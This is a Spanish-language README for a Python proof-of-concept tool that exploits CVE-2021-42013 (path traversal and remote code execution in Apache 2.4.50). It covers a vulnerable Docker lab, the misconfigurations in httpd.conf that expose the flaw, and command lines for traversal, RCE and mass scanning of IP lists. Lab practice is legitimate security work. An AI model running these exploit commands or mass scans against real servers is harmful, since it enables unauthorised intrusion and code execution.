Apache 2.4.50 - Path Traversal o Ejecución Remota de Código

cve-2021-42013.py es un script de Python que ayuda a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para practicar con CVE-2021-42013

Si CGI-BIN está habilitado, podemos realizar Ejecución Remota de Código pero no Path Traversal, por lo que se ha añadido el directorio "icons" en la sección Alias de httpd.conf para verificar la vulnerabilidad de Path Traversal.

Configuraciones vulnerables en httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Laboratorio para CVE-2021-42013

Construir Docker

$ docker build -t cve-2021-42013 .

Ejecutar Docker

$ docker run -it cve-2021-42013

Uso de cve-2021-42013.py

Verificar Path Traversal y Ejecución Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2

PoC de Path Traversal

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

PoC de Ejecución Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

Para escaneo masivo, proporcione un archivo de texto que contenga IPs:

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce